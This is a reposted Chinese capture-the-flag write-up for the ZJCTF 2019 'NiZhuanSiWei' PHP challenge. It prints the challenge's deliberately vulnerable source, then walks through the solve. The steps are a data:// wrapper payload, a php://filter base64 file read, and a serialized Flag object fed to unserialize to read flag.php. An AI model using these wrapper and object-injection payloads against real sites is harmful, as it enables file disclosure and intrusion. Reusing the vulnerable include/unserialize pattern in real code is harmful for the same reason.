返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >[ZJCTF 2019]NiZhuanSiWei
  • 276
分享到

[ZJCTF 2019]NiZhuanSiWei

php安全网络安全web安全 2023-09-09 15:09:09 276人浏览 安东尼
摘要

目录 信息收集 代码审计 第一层 第二层 第三层 信息收集 打开页面又是代码审计 代码如下 代码审计 第一层 通过data伪协议模拟打开text文件 ?text=data://text/plain,welcome to the

目录

信息收集

代码审计

第一层

第二层

第三层


信息收集

打开页面又是代码审计

代码如下

 PHP  $text = $_GET["text"];$file = $_GET["file"];$passWord = $_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){    echo "

".file_get_contents($text,'r')."


";    if(preg_match("/flag/",$file)){        echo "Not now!";        exit();     }else{        include($file);  //useless.php        $password = unserialize($password);        echo $password;    }}else{    highlight_file(__FILE__);}?>

代码审计

第一层

通过data伪协议模拟打开text文件

?text=data://text/plain,welcome to the zjctf

第二层

通过filter伪协议读取useless.php

file=php://filter/convert.base64-encode/resource=useless.php

进行base64解码后得到useless.php的内容

file)){              echo file_get_contents($this->file);             echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>

第三层

看样子是利用反序列化

  • poc

class Flag{  //flag.php  

    public $file='flag.php';  

    public function __tostring()

    {  

        if(isset($this->file))

        {  

            echo file_get_contents($this->file);

            echo "
";

        return ("U R SO CLOSE !///COME ON PLZ");

        }  

    }  

}  

$a=new Flag();

echo serialize($a);

?>  

  • 序列化的结果

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

  • payload

?text=data://text/plain,welcome to the zjctf
&file=useless.php
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

返回结果的源码里面找到flag 

来源地址:https://blog.csdn.net/qq_63701832/article/details/128721881

--结束END--

本文标题: [ZJCTF 2019]NiZhuanSiWei

本文链接: https://www.lsjlt.com/news/401660.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作